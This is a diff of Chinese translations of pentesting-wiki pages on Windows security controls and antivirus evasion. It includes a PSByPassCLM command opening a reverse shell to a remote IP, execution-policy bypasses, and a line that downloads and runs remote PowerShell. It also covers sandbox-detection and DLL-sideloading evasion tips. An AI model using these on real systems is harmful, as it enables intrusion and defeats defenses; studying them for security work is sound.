@ -69,7 +69,7 @@ LSA 可以在磁盘上保存一些凭据:
## Defender
[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) 是 Windows 10 和 Windows 11 以及 Windows Server 版本中可用的防病毒软件。它 **阻止** 常见的渗透测试工具,如 **`WinPEAS`**。但是,有方法可以 **绕过这些保护**
[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) 是 Windows 10 和 Windows 11 以及 Windows Server 版本中可用的防病毒软件。它 **阻止** 常见的渗透测试工具,如 **`WinPEAS`**。然而,有方法可以 **绕过这些保护**
### 检查
@ -103,7 +103,7 @@ sc query windefend
```
## 加密文件系统 (EFS)
EFS 通过加密保护文件,使用称为 **文件加密密钥 (FEK)****对称密钥**。该密钥使用用户的 **公钥** 进行加密,并存储在加密文件的 $EFS **替代数据流** 中。当需要解密时,使用用户数字证书的相应 **私钥** 从 $EFS 流中解密 FEK。更多细节可以在 [这里](https://en.wikipedia.org/wiki/Encrypting_File_System) 找到。
EFS 通过加密保护文件,使用称为 **文件加密密钥 (FEK)****对称密钥**。该密钥使用用户的 **公钥** 进行加密,并存储在加密文件的 $EFS **备用数据流** 中。当需要解密时,使用用户数字证书的相应 **私钥** 从 $EFS 流中解密 FEK。更多细节可以在 [这里](https://en.wikipedia.org/wiki/Encrypting_File_System) 找到。
**无需用户启动的解密场景** 包括:
@ -121,10 +121,10 @@ EFS 通过加密保护文件,使用称为 **文件加密密钥 (FEK)** 的 **
### 检查 EFS 信息
检查 **用户** 是否 **使用** 了此 **服务**,检查此路径是否存在:`C:\users\<username>\appdata\roaming\Microsoft\Protect`
检查 **用户** 是否 **使用** **服务**,检查此路径是否存在:`C:\users\<username>\appdata\roaming\Microsoft\Protect`
使用 cipher /c \<file\> 检查 **谁****访问** 文件的权限\
您还可以在文件夹内使用 `cipher /e``cipher /d`**加密****解密** 所有文件
您还可以在文件夹内使用 `cipher /e``cipher /d`**加密****解密** 所有文件
### 解密 EFS 文件
@ -132,7 +132,7 @@ EFS 通过加密保护文件,使用称为 **文件加密密钥 (FEK)** 的 **
这种方式要求 **受害者用户** 在主机内 **运行** 一个 **进程**。如果是这种情况,使用 `meterpreter` 会话可以模拟用户进程的令牌(`incognito` 中的 `impersonate_token`)。或者您可以直接 `migrate` 到用户的进程。
#### 知道用户密码
#### 知道用户密码
{{#ref}}
https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files
@ -144,11 +144,11 @@ https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files
- **自动密码管理**gMSA 使用复杂的 240 字符密码,自动根据域或计算机策略进行更改。此过程由微软的密钥分发服务 (KDC) 处理,消除了手动更新密码的需要。
- **增强安全性**:这些账户免受锁定,并且不能用于交互式登录,从而增强了安全性。
- **多主机支持**gMSA 可以在多个主机之间共享,使其非常适合在多个服务器上运行的服务。
- **多主机支持**gMSA 可以在多个主机之间共享,非常适合在多个服务器上运行的服务。
- **计划任务能力**与管理服务账户不同gMSA 支持运行计划任务。
- **简化 SPN 管理**:当计算机的 sAMaccount 详细信息或 DNS 名称发生更改时,系统会自动更新服务主体名称 (SPN),简化 SPN 管理。
gMSA 的密码存储在 LDAP 属性 _**msDS-ManagedPassword**_ 中,并由域控制器 (DC) 每 30 天自动重置一次。此密码是一个加密数据块,称为 [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e),只能由授权管理员和安装 gMSA 的服务器检索,从而确保安全环境。要访问此信息,需要安全连接,例如 LDAPS或者连接必须经过“密封和安全”认证。
gMSA 的密码存储在 LDAP 属性 _**msDS-ManagedPassword**_ 中,并由域控制器 (DC) 每 30 天自动重置。此密码是一个加密数据块,称为 [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e),只能由授权管理员和安装 gMSA 的服务器检索,从而确保安全环境。要访问此信息,需要使用安全连接,如 LDAPS或连接必须经过 'Sealing & Secure' 认证。
![https://cube0x0.github.io/Relaying-for-gMSA/](../images/asd1.png)
@ -162,7 +162,7 @@ gMSA 的密码存储在 LDAP 属性 _**msDS-ManagedPassword**_ 中,并由域
## LAPS
**本地管理员密码解决方案 (LAPS)**,可从[Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899)下载,支持本地管理员密码的管理。这些密码是**随机生成**、唯一且**定期更改**的集中存储在Active Directory中。对这些密码的访问通过ACL限制为授权用户。授予足够的权限后可以读取本地管理员密码。
**本地管理员密码解决方案 (LAPS)**,可从[Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899)下载,允许管理本地管理员密码。这些密码是**随机的**、唯一的,并且**定期更改**集中存储在Active Directory中。对这些密码的访问通过ACL限制为授权用户。授予足够的权限后可以读取本地管理员密码。
{{#ref}}
active-directory-methodology/laps.md
@ -170,15 +170,15 @@ active-directory-methodology/laps.md
## PS受限语言模式
PowerShell [**受限语言模式**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **锁定了许多使用PowerShell所需的功能**例如阻止COM对象仅允许批准的.NET类型、基于XAML的工作流、PowerShell类等。
PowerShell [**受限语言模式**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **锁定了许多**有效使用PowerShell所需的功能例如阻止COM对象仅允许批准的.NET类型、基于XAML的工作流、PowerShell类等。
### **检查**
```powershell
```bash
$ExecutionContext.SessionState.LanguageMode
#Values could be: FullLanguage or ConstrainedLanguage
```
### 绕过
```powershell
```bash
#Easy bypass
Powershell -version 2
```
@ -193,12 +193,12 @@ C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogTo
```bash
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe
```
您可以使用 [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) 或 [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) 在任何进程中 **执行 Powershell** 代码并绕过受限模式。有关更多信息,请查看:[https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode)。
您可以使用 [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) 或 [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) **执行 Powershell** 代码在任何进程中并绕过受限模式。有关更多信息,请查看: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode)。
## PS 执行策略
默认情况下,它设置为 **restricted.** 绕过此策略的主要方法:
```powershell
```bash
1º Just copy and paste inside the interactive PS console
2º Read en Exec
Get-Content .runme.ps1 | PowerShell.exe -noprofile -
@ -217,15 +217,15 @@ Powershell -command "Write-Host 'My voice is my passport, verify me.'"
9º Use EncodeCommand
$command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand
```
更多信息可以在 [这里](https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/) 找到。
更多内容可以在 [这里](https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/) 找到。
## 安全支持提供者接口 (SSPI)
是用于验证用户的 API。
SSPI 将负责为想要通信的两台机器找到合适的协议。首选方法是 Kerberos。然后SSPI 将协商使用哪个身份验证协议,这些身份验证协议称为安全支持提供者 (SSP),以 DLL 形式位于每台 Windows 机器内部,且两台机器必须支持相同的协议才能进行通信。
SSPI 将负责为想要通信的两台机器找到合适的协议。首选方法是 Kerberos。然后SSPI 将协商将使用的身份验证协议,这些身份验证协议称为安全支持提供者 (SSP),以 DLL 形式位于每台 Windows 机器内部,且两台机器必须支持相同的协议才能进行通信。
### 主要 SSPs
### 主要 SSP
- **Kerberos**: 首选
- %windir%\Windows\System32\kerberos.dll
@ -238,7 +238,7 @@ SSPI 将负责为想要通信的两台机器找到合适的协议。首选方法
- **Negotiate**: 用于协商使用的协议Kerberos 或 NTLM默认是 Kerberos
- %windir%\Windows\System32\lsasrv.dll
#### 协商可提供多种方法或仅提供一种。
#### 协商可提供多种方法或仅提供一种。
## UAC - 用户帐户控制

View File

@ -4,15 +4,15 @@
## AppLocker Policy
应用程序白名单是一个经过批准的软件应用程序或可执行文件的列表,这些软件被允许在系统上存在和运行。其目标是保护环境免受有害恶意软件和不符合组织特定业务需求的未批准软件的影响。
应用程序白名单是一个经过批准的软件应用程序或可执行文件的列表,这些软件被允许存在并在系统上运行。其目标是保护环境免受有害恶意软件和不符合组织特定业务需求的未批准软件的影响。
[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) 是微软的 **应用程序白名单解决方案**,为系统管理员提供了对 **用户可以运行哪些应用程序和文件** 的控制。它提供了对可执行文件、脚本、Windows 安装程序文件、DLL、打包应用程序和打包应用程序安装程序的 **细粒度控制**。\
组织通常会 **阻止 cmd.exe 和 PowerShell.exe** 以及对某些目录的写访问,**但这一切都可以被绕过**。
组织通常会 **阻止 cmd.exe 和 PowerShell.exe** 以及对某些目录的写访问,**但这一切都可以被绕过**。
### Check
检查哪些文件/扩展名被列入黑名单/白名单:
```powershell
```bash
Get-ApplockerPolicy -Effective -xml
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
@ -37,7 +37,7 @@ C:\windows\tracing
- **编写不当的规则也可能被绕过**
- 例如,**`<FilePathCondition Path="%OSDRIVE%*\allowed*"/>`**,您可以在任何地方创建一个 **名为 `allowed`** 的文件夹,它将被允许。
- 组织通常还专注于 **阻止 `%System32%\WindowsPowerShell\v1.0\powershell.exe` 可执行文件**,但忘记了 **其他** [**PowerShell 可执行文件位置**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations),例如 `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe``PowerShell_ISE.exe`
- **DLL 强制执行很少启用**,因为它可能对系统造成额外负担,并且需要大量测试以确保不会出现故障。因此,使用 **DLL 作为后门将有助于绕过 AppLocker**
- **DLL 强制执行很少启用**,因为它可能对系统造成额外负担,以及确保没有任何东西会崩溃所需的测试量。因此,使用 **DLL 作为后门将有助于绕过 AppLocker**
- 您可以使用 [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) 或 [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) 在任何进程中 **执行 Powershell** 代码并绕过 AppLocker。有关更多信息请查看: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode)。
## 凭据存储
@ -50,7 +50,7 @@ C:\windows\tracing
**凭据**(哈希)被 **保存** 在此子系统的 **内存** 中,以实现单点登录。\
**LSA** 管理本地 **安全策略**(密码策略、用户权限...)、**身份验证**、**访问令牌**...\
LSA 将是 **检查** 提供的凭据的 **SAM** 文件(用于本地登录)并 **与** **域控制器** 通信以验证域用户。
LSA 将是 **检查** 提供的凭据的 **SAM** 文件(用于本地登录)并 **与** **域控制器** 进行通信以验证域用户。
**凭据** 被 **保存****进程 LSASS**Kerberos 票证、NT 和 LM 哈希、易于解密的密码。
@ -69,7 +69,7 @@ LSA 可能会在磁盘上保存一些凭据:
## Defender
[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) 是 Windows 10 和 Windows 11 以及 Windows Server 版本中可用的防病毒软件。它 **阻止** 常见的渗透测试工具,如 **`WinPEAS`**。然而,有一些方法可以 **绕过这些保护**
[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) 是 Windows 10 和 Windows 11 以及 Windows Server 版本中可用的防病毒软件。它 **阻止** 常见的渗透测试工具,如 **`WinPEAS`**。然而,有方法可以 **绕过这些保护**
### 检查
@ -103,7 +103,7 @@ sc query windefend
```
## 加密文件系统 (EFS)
EFS 通过加密保护文件,使用称为 **文件加密密钥 (FEK)****对称密钥**。该密钥使用用户的 **公钥** 进行加密,并存储在加密文件的 $EFS **备用数据流** 中。当需要解密时,使用用户数字证书的相应 **私钥** 从 $EFS 流中解密 FEK。更多详细信息可以在 [这里](https://en.wikipedia.org/wiki/Encrypting_File_System) 找到。
EFS 通过加密保护文件,使用称为 **文件加密密钥 (FEK)****对称密钥**。该密钥使用用户的 **公钥** 进行加密,并存储在加密文件的 $EFS **备用数据流** 中。当需要解密时,使用用户数字证书的相应 **私钥** 从 $EFS 流中解密 FEK。更多细节可以在 [这里](https://en.wikipedia.org/wiki/Encrypting_File_System) 找到。
**无需用户启动的解密场景** 包括:
@ -128,9 +128,9 @@ EFS 通过加密保护文件,使用称为 **文件加密密钥 (FEK)** 的 **
### 解密 EFS 文件
#### 为权限系统
#### 为权限系统
这种方式要求 **受害者用户** 在主机内 **运行** 一个 **进程**。如果是这种情况,使用 `meterpreter` 会话,您可以模拟用户进程的令牌(`incognito` 中的 `impersonate_token`)。或者您可以直接 `migrate` 到用户的进程。
这种方式要求 **受害者用户** 在主机内 **运行** 一个 **进程**。如果是这种情况,使用 `meterpreter` 会话,您可以模拟用户进程的令牌(`impersonate_token` 来自 `incognito`)。或者您可以直接 `migrate` 到用户的进程。
#### 知道用户密码
@ -148,7 +148,7 @@ https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files
- **计划任务能力**与管理服务账户不同gMSA 支持运行计划任务。
- **简化 SPN 管理**:当计算机的 sAMaccount 详细信息或 DNS 名称发生更改时,系统会自动更新服务主体名称 (SPN),简化 SPN 管理。
gMSA 的密码存储在 LDAP 属性 _**msDS-ManagedPassword**_ 中,并由域控制器 (DC) 每 30 天自动重置一次。此密码是一个称为 [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e) 的加密数据块,仅可由授权管理员和安装 gMSA 的服务器检索,从而确保安全环境。要访问此信息,需要安全连接,如 LDAPS或连接必须经过 'Sealing & Secure' 认证。
gMSA 的密码存储在 LDAP 属性 _**msDS-ManagedPassword**_ 中,并由域控制器 (DC) 每 30 天自动重置。此密码是一个加密数据块,称为 [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e),只能由授权管理员和安装 gMSA 的服务器检索,从而确保安全环境。要访问此信息,需要安全连接,如 LDAPS或连接必须经过 'Sealing & Secure' 认证。
![https://cube0x0.github.io/Relaying-for-gMSA/](../../images/asd1.png)
@ -162,7 +162,7 @@ gMSA 的密码存储在 LDAP 属性 _**msDS-ManagedPassword**_ 中,并由域
## LAPS
**本地管理员密码解决方案 (LAPS)**,可从[Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899)下载,允许管理本地管理员密码。这些密码是**随机生成**、唯一且**定期更改**的集中存储在Active Directory中。对这些密码的访问通过ACL限制为授权用户。授予足够的权限后可以读取本地管理员密码。
**本地管理员密码解决方案 (LAPS)**,可从[Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899)下载,允许管理本地管理员密码。这些密码是**随机的**、唯一的,并且**定期更改**集中存储在Active Directory中。对这些密码的访问通过ACL限制为授权用户。授予足够的权限后可以读取本地管理员密码。
{{#ref}}
../active-directory-methodology/laps.md
@ -173,17 +173,17 @@ gMSA 的密码存储在 LDAP 属性 _**msDS-ManagedPassword**_ 中,并由域
PowerShell [**受限语言模式**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **锁定了许多**有效使用PowerShell所需的功能例如阻止COM对象仅允许批准的.NET类型、基于XAML的工作流、PowerShell类等。
### **检查**
```powershell
```bash
$ExecutionContext.SessionState.LanguageMode
#Values could be: FullLanguage or ConstrainedLanguage
```
### 绕过
```powershell
```bash
#Easy bypass
Powershell -version 2
```
在当前的Windows中绕过方法将无法工作但您可以使用[ **PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM)。\
**要编译它,您可能需要** **_添加引用_** -> _浏览_ -> _浏览_ -> 添加 `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` 并**将项目更改为 .Net4.5**。
在当前的Windows中绕过方法将无法工作,但您可以使用[ **PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM)。\
**要编译它,您可能需要** **添加引用** -> _浏览_ -> _浏览_ -> 添加 `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` 并**将项目更改为 .Net4.5**。
#### 直接绕过:
```bash
@ -193,12 +193,12 @@ C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogTo
```bash
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe
```
您可以使用 [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) 或 [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) 在任何进程中 **执行 Powershell** 代码并绕过受限模式。有关更多信息,请查看: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode)。
您可以使用 [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) 或 [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) **执行 Powershell** 代码在任何进程中并绕过受限模式。有关更多信息,请查看: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode)。
## PS 执行策略
默认情况下,它设置为 **restricted.** 绕过此策略的主要方法:
```powershell
```bash
1º Just copy and paste inside the interactive PS console
2º Read en Exec
Get-Content .runme.ps1 | PowerShell.exe -noprofile -
@ -217,13 +217,13 @@ Powershell -command "Write-Host 'My voice is my passport, verify me.'"
9º Use EncodeCommand
$command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand
```
更多信息可以在 [这里](https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/) 找到。
更多内容可以在 [这里](https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/) 找到。
## 安全支持提供者接口 (SSPI)
是用于验证用户的 API。
SSPI 将负责为想要通信的两台机器找到合适的协议。首选方法是 Kerberos。然后SSPI 将协商将使用的身份验证协议,这些身份验证协议称为安全支持提供者 (SSP),以 DLL 形式位于每台 Windows 机器内部,并且两台机器必须支持相同的协议才能进行通信。
SSPI 将负责为想要通信的两台机器找到合适的协议。首选方法是 Kerberos。然后SSPI 将协商使用哪个认证协议,这些认证协议称为安全支持提供者 (SSP),以 DLL 形式存在于每台 Windows 机器中,且两台机器必须支持相同的协议才能进行通信。
### 主要 SSP
@ -231,14 +231,14 @@ SSPI 将负责为想要通信的两台机器找到合适的协议。首选方法
- %windir%\Windows\System32\kerberos.dll
- **NTLMv1****NTLMv2**: 兼容性原因
- %windir%\Windows\System32\msv1_0.dll
- **Digest**: Web 服务器和 LDAP密码以 MD5 哈希形式
- **Digest**: Web 服务器和 LDAP密码以 MD5 哈希形式存在
- %windir%\Windows\System32\Wdigest.dll
- **Schannel**: SSL 和 TLS
- %windir%\Windows\System32\Schannel.dll
- **Negotiate**: 用于协商使用的协议Kerberos 或 NTLM默认是 Kerberos
- %windir%\Windows\System32\lsasrv.dll
#### 协商可提供多种方法或仅提供一种。
#### 协商可提供多种方法或仅提供一种。
## UAC - 用户帐户控制

View File

@ -18,26 +18,26 @@
- **混淆**
有时你只需要更改二进制文件或脚本中的一些字符串就能通过AV但这可能是一个耗时的任务具体取决于你想混淆的内容。
有时你只需要更改二进制文件或脚本中的一些字符串,就可以让它通过AV但这可能是一个耗时的任务具体取决于你想混淆的内容。
- **自定义工具**
如果你开发自己的工具,将不会有已知的恶意签名,但这需要大量的时间和精力。
> [!NOTE]
> 检查Windows Defender静态检测的一个好方法是 [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck)。它基本上将文件分成多个部分然后让Defender逐个扫描这样可以准确告诉你在二进制文件中标记的字符串或字节。
> 检查Windows Defender静态检测的一个好方法是 [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck)。它基本上将文件分成多个部分然后让Defender逐个扫描这样可以准确告诉你在二进制文件中标记的字符串或字节。
我强烈建议你查看这个 [YouTube播放列表](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf)关于实用的AV规避。
### **动态分析**
动态分析是指AV在沙箱中运行你的二进制文件并监视恶意活动例如试解密并读取浏览器的密码执行LSASS的minidump等。这部分可能更难处理,但这里有一些你可以做的事情来规避沙箱。
动态分析是指AV在沙箱中运行你的二进制文件并监视恶意活动例如解密并读取浏览器的密码执行LSASS的minidump等。这一部分可能会更棘手,但这里有一些你可以做的事情来规避沙箱。
- **执行前休眠** 根据实现方式这可能是绕过AV动态分析的好方法。AV扫描文件的时间非常短以免打断用户的工作流程因此使用长时间的休眠可以干扰二进制文件的分析。问题是许多AV的沙箱可以根据实现方式跳过休眠。
- **检查机器资源** 通常沙箱可用的资源非常少(例如,< 2GB RAM否则可能会减慢用户的机器你也可以在这里发挥创造力例如检查CPU的温度或风扇速度并不是所有内容都会在沙箱中实现
- **特定机器检查** 如果你想针对加入“contoso.local”域的用户的工作站你可以检查计算机的域是否与指定的匹配如果不匹配你可以让程序退出。
事实证明Microsoft Defender的沙箱计算机名是HAL9TH因此你可以在恶意软件引爆前检查计算机名如果名称匹配HAL9TH则意味着你在Defender的沙箱中因此可以让程序退出。
事实证明Microsoft Defender的沙箱计算机名是HAL9TH因此你可以在恶意软件引爆前检查计算机名如果名称匹配HAL9TH则意味着你在Defender的沙箱中因此可以让程序退出。
<figure><img src="../images/image (209).png" alt=""><figcaption><p>来源: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
@ -45,31 +45,31 @@
<figure><img src="../images/image (248).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> #malware-dev频道</p></figcaption></figure>
正如我们在这篇文章中之前所说,**公共工具**最终会被**检测到**,所以你应该问自己一个问题:
正如我们在这篇文章中之前所说**公共工具**最终会被**检测到**,所以你应该问自己一个问题:
例如如果你想转储LSASS**你真的需要使用mimikatz吗**或者你可以使用一个不太知名的项目来转储LSASS。
正确的答案可能是后者。以mimikatz为例它可能是被AV和EDR标记的最多的恶意软件之一尽管该项目本身非常酷但在绕过AV时使用它也是一场噩梦因此只需寻找替代方案来实现你的目标。
正确的答案可能是后者。以mimikatz为例它可能是被AV和EDR标记的最多的恶意软件之一尽管该项目本身非常酷但在规避AV时使用它也是一场噩梦因此只需寻找替代方案来实现你的目标。
> [!NOTE]
> 在修改你的有效载荷以进行规避时,请确保**关闭Defender中的自动样本提交**,并且请认真考虑,**如果你的目标是长期规避请不要上传到VIRUSTOTAL**。如果你想检查你的有效载荷是否被特定AV检测到请在虚拟机上安装它尝试关闭自动样本提交并在那里进行测试,直到你对结果满意为止。
> 在修改你的有效载荷以进行规避时,请确保**关闭Defender中的自动样本提交**,并且请认真考虑,**如果你的目标是长期规避请不要上传到VIRUSTOTAL**。如果你想检查你的有效载荷是否被特定AV检测到请在虚拟机上安装它尝试关闭自动样本提交并在那里测试直到你对结果满意为止。
## EXEs与DLLs
只要可能,始终**优先使用DLL进行规避**根据我的经验DLL文件通常**被检测和分析的概率要低得多**,因此在某些情况下使用它们是一个非常简单的技巧(当然,如果你的有效载荷有某种方式以DLL的形式运行
只要可能,始终**优先使用DLL进行规避**根据我的经验DLL文件通常**被检测和分析的概率要低得多**,因此在某些情况下使用它是一种非常简单的技巧(当然前提是你的有效载荷有某种方式以DLL的形式运行
正如我们在这张图片中看到的Havoc的DLL有效载荷在antiscan.me上的检测率为4/26而EXE有效载荷的检测率为7/26。
<figure><img src="../images/image (1130).png" alt=""><figcaption><p>antiscan.me对普通Havoc EXE有效载荷与普通Havoc DLL的比较</p></figcaption></figure>
<figure><img src="../images/image (1130).png" alt=""><figcaption><p>antiscan.me对正常Havoc EXE有效载荷与正常Havoc DLL的比较</p></figcaption></figure>
现在我们将展示一些你可以使用DLL文件的技巧以便更加隐蔽。
## DLL侧载与代理
**DLL侧载**利用加载程序使用的DLL搜索顺序通过将受害者应用程序和恶意有效载荷并排放置来实现。
**DLL侧载**利用加载使用的DLL搜索顺序通过将受害者应用程序和恶意有效载荷并排放置来实现。
你可以使用 [Siofra](https://github.com/Cybereason/siofra) 和以下PowerShell脚本检查易受DLL侧载影响的程序:
```powershell
你可以使用 [Siofra](https://github.com/Cybereason/siofra) 和以下PowerShell脚本检查易受DLL侧载攻击的程序:
```bash
Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object {
$binarytoCheck = "C:\Program Files\" + $_
C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hijack -f $binarytoCheck
@ -79,9 +79,9 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija
我强烈建议您**自己探索可被DLL劫持/侧载的程序**如果正确执行这种技术相当隐蔽但如果您使用公开已知的DLL侧载程序可能会很容易被抓住。
仅仅放置一个恶意DLL其名称是程序期望加载的名称并不会加载您的有效载荷因为程序期望该DLL中有一些特定的函数。为了解决这个问题我们将使用另一种技术称为**DLL代理/转发**。
仅仅放置一个名称与程序期望加载的恶意DLL并不会加载您的有效载荷因为程序期望该DLL中有一些特定的函数。为了解决这个问题我们将使用另一种技术称为**DLL代理/转发**。
**DLL代理**将程序从代理和恶意DLL发出的调用转发到原始DLL从而保留程序的功能并能够处理您的有效载荷的执行。
**DLL代理**将程序从代理和恶意DLL发出的调用转发到原始DLL从而保留程序的功能并能够处理您的有效载荷的执行。
我将使用[@flangvik](https://twitter.com/Flangvik/)的[SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy)项目。
@ -100,12 +100,12 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija
```
<figure><img src="../images/dll_sideloading_demo.gif" alt=""><figcaption></figcaption></figure>
我们的 shellcode使用 [SGN](https://github.com/EgeBalci/sgn) 编码)和代理 DLL 在 [antiscan.me](https://antiscan.me) 上的检测率为 0/26我认为这是一个成功。
我们的 shellcode使用 [SGN](https://github.com/EgeBalci/sgn) 编码)和代理 DLL 在 [antiscan.me](https://antiscan.me) 上的检测率为 0/26我认为这是成功。
<figure><img src="../images/image (193).png" alt=""><figcaption></figcaption></figure>
> [!NOTE]
> 我 **强烈推荐** 你观看 [S3cur3Th1sSh1t 的 twitch VOD](https://www.twitch.tv/videos/1644171543) 关于 DLL Sideloading以及 [ippsec 的视频](https://www.youtube.com/watch?v=3eROsG_WNpE) 以更深入地了解我们讨论的内容。
> 我 **强烈推荐** 你观看 [S3cur3Th1sSh1t 的 twitch VOD](https://www.twitch.tv/videos/1644171543) 关于 DLL Sideloading以及 [ippsec 的视频](https://www.youtube.com/watch?v=3eROsG_WNpE)以更深入地了解我们讨论的内容。
## [**Freeze**](https://github.com/optiv/Freeze)
@ -135,38 +135,40 @@ AMSI功能集成在Windows的以下组件中。
- JavaScript和VBScript
- Office VBA宏
它允许杀毒软件通过以未加密和未混淆的形式暴露脚本内容来检查脚本行为。
它允许杀毒解决方案通过以未加密和未混淆的形式暴露脚本内容来检查脚本行为。
运行`IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')`将在Windows Defender上产生以下警报。
运行 `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` 将在Windows Defender上产生以下警报。
<figure><img src="../images/image (1135).png" alt=""><figcaption></figcaption></figure>
注意它如何在前面加上`amsi:`然后是脚本运行的可执行文件的路径在这种情况下是powershell.exe。
注意它如何在前面加上 `amsi:`然后是脚本运行的可执行文件的路径在这种情况下是powershell.exe。
我们没有将任何文件写入磁盘但仍然因为AMSI在内存中被捕获。
此外,从**.NET 4.8**开始C#代码也通过AMSI运行。这甚至影响到 `Assembly.Load(byte[])` 以加载内存执行。因此如果你想规避AMSI建议使用较低版本的.NET如4.7.2或更低)进行内存执行。
有几种方法可以绕过AMSI
- **混淆**
由于AMSI主要依赖静态检测因此修改你尝试加载的脚本可能是规避检测的好方法。
